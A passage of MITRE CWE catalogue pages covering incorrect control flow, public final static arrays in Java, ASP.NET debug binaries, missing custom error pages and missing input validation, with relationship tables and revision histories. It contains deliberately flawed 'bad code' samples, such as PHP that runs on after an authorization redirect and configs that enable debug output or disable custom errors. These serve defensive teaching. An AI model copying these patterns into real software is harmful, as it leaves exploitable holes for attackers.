ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.480Use of Incorrect Operator
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.483Incorrect Block Delimitation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.484Omitted Break Statement in Switch
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.617Reachable Assertion
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.698Execution After Redirect (EAR)
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.783Operator Precedence Logic Error
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.617Reachable Assertion
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationThis issue typically appears in rarely-tested code, since the "always-incorrect" nature will be detected as a bug during normal usage.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other; Alter Execution Logic

+ Demonstrative Examples

Example 1

This code queries a server and displays its status when a request comes from an authorized IP address.

(bad code)
Example Language: PHP 
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipAllowList)){
echo "You are not authorized to view this page";
http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
...

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

Example 2

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

(bad code)
Example Language:
if (condition==true)
Do_X();
Do_Y();

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 3

In both of these examples, a message is printed based on the month passed into the function:

(bad code)
Example Language: Java 
public void printMessage(int month){
switch (month) {

case 1: print("January");
case 2: print("February");
case 3: print("March");
case 4: print("April");
case 5: print("May");
case 6: print("June");
case 7: print("July");
case 8: print("August");
case 9: print("September");
case 10: print("October");
case 11: print("November");
case 12: print("December");
}
println(" is a great month");
}
(bad code)
Example Language:
void printMessage(int month){
switch (month) {

case 1: printf("January");
case 2: printf("February");
case 3: printf("March");
case 4: printf("April");
case 5: printff("May");
case 6: printf("June");
case 7: printf("July");
case 8: printf("August");
case 9: printf("September");
case 10: printf("October");
case 11: printf("November");
case 12: printf("December");
}
printf(" is a great month");
}

Both examples do not use a break statement after each case, which leads to unintended fall-through behavior. For example, calling "printMessage(10)" will result in the text "OctoberNovemberDecember is a great month" being printed.

Example 4

In the excerpt below, an AssertionError (an unchecked exception) is thrown if the user hasn't entered an email address in an HTML form.

(bad code)
Example Language: Java 
String email = request.getParameter("email_address");
assert email != null;
+ Observed Examples
ReferenceDescription
virtual interrupt controller in a virtualization product allows crash of host by writing a certain invalid value to a register, which triggers a fatal error instead of returning an error code
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1410Comprehensive Categorization: Insufficient Control Flow Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes
2009-07-27CWE Content TeamMITRE
updated Maintenance_Notes, Modes_of_Introduction, Other_Notes, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2021-10-28CWE Content TeamMITRE
updated Observed_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples

CWE-582: Array Declared Public, Final, and Static

Weakness ID: 582
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.
+ Extended Description
Because arrays are mutable objects, the final constraint requires that the array object itself be assigned only once, but makes no guarantees about the values of the array elements. Since the array is public, a malicious program can change the values stored in the array. As such, in most cases an array declared public, final and static is a bug.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Background Details
Mobile code, in this case a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your product is running.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

+ Demonstrative Examples

Example 1

The following Java Applet code mistakenly declares an array public, final and static.

(bad code)
Example Language: Java 
public final class urlTool extends Applet {
public final static URL[] urls;
...
}
+ Potential Mitigations

Phase: Implementation

In most situations the array should be made private.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)OBJ10-JDo not use public static nonfinal variables
Software Fault PatternsSFP28Unexpected Access Points
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Other_Notes, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Other_Notes
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2022-10-13CWE Content TeamMITRE
updated Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Background_Details, Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Mobile Code: Unsafe Array Declaration

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID: 11
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Debugging messages help attackers learn about the system and plan a form of attack.
+ Extended Description
ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.489Active Debug Code
+ Background Details
The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Build and Compilation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

ASP.NET (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.
+ Demonstrative Examples

Example 1

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

(bad code)
Example Language: XML 
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<system.web>
<compilation
defaultLanguage="c#"
debug="true"
/>
...
</system.web>
</configuration>

Change the debug mode to false when the application is deployed into production.

+ Potential Mitigations

Phase: System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1349OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsASP.NET Misconfiguration: Creating Debug Binary
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Description, Other_Notes
2009-07-27CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID: 12
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.756Missing Custom Error Page
+ Background Details
The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

ASP.NET (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Default error pages gives detailed information about the error that occurred, and should not be used in production environments. Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.
+ Demonstrative Examples

Example 1

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

(bad code)
Example Language: ASP.NET 
<customErrors mode="Off" />

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

(good code)
Example Language: ASP.NET 
<customErrors mode="RemoteOnly" />

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

(good code)
Example Language: ASP.NET 
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
+ Potential Mitigations

Phase: System Configuration

Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.

Phase: Architecture and Design

Do not attempt to process an error or attempt to mask it.

Phase: Implementation

Verify return values are correct and do not supply sensitive information about the system.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.27PK - Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1405Comprehensive Categorization: Improper Check or Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsASP.NET Misconfiguration: Missing Custom Error Handling
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-65] M. Howard, D. LeBlanc and J. Viega. "19 Deadly Sins of Software Security". McGraw-Hill/Osborne. 2005-07-26.
[REF-66] OWASP, Fortify Software. "ASP.NET Misconfiguration: Missing Custom Error Handling". <http://www.owasp.org/index.php/ASP.NET_Misconfiguration:_Missing_Custom_Error_Handling>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, References, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Potential_Mitigations
2009-03-10CWE Content TeamMITRE
updated Name, Relationships
2009-07-27CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10ASP.NET Misconfiguration: Missing Custom Error Handling

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID: 554
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The ASP.NET application does not use an input validation framework.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1173Improper Use of Validation Framework
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

ASP.NET (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.
+ Potential Mitigations

Phase: Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that:

  • Phone number fields contain only valid characters in phone numbers
  • Boolean values are only "T" or "F"
  • Free-form strings are of a reasonable length and composition
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

